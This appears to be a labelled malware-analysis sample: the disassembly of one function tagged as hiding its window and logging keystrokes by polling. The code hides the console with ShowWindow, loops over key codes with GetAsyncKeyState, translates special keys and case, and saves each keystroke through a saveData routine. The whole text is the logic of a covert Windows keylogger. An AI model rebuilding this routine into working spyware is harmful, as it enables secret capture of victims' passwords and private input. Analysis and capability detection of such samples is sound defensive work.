Function at 0x4016fa
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
call sym.__main
mov dword [rbp - 0x30], 0x20
mov dword [rbp - 0x2c], 0xd
mov dword [rbp - 0x28], 0x10
mov dword [rbp - 0x24], 8
mov dword [rbp - 0x20], 9
mov dword [rbp - 0x1c], 0x11
mov dword [rbp - 0x18], 0x14
mov dword [rbp - 0x14], 0x12
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00401a60
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 0x54], 8
mov eax, dword [rbp - 0x54]
cmp eax, 0xbe
jg 0x40177c
mov eax, dword [rbp - 0x54]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x401923
lea rax, [rbp - 0x30]
mov rcx, rax
call method.int_std.end_int__8ull__int_____8ull__
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.int_std.begin_int__8ull__int_____8ull__
mov rcx, rax
lea rax, [rbp - 0x54]
mov r8, rax
mov rdx, rbx
call method.int_std.find_int__int__int__int__int_const_
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.int_std.end_int__8ull__int_____8ull__
cmp rbx, rax
setne al
mov byte [rbp + 0x87], al
cmp byte [rbp + 0x87], 0
je 0x401853
mov edx, dword [rbp - 0x54]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.translateSpecialKey_abi:cxx11__int_
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.saveData_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401923
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x4018be
lea rax, [rbp + 0x5f]
mov rcx, rax
call fcn.00401a98
mov eax, dword [rbp - 0x54]
movsx edx, al
lea rcx, [rbp + 0x5f]
lea rax, [rbp + 0x30]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.saveData_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401923
lea rax, [rbp + 0x86]
mov rcx, rax
call fcn.00401a98
mov eax, dword [rbp - 0x54]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
movsx edx, al
lea rcx, [rbp + 0x86]
lea rax, [rbp + 0x60]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.saveData_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x86]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp - 0x54]
add eax, 1
mov dword [rbp - 0x54], eax
jmp 0x401783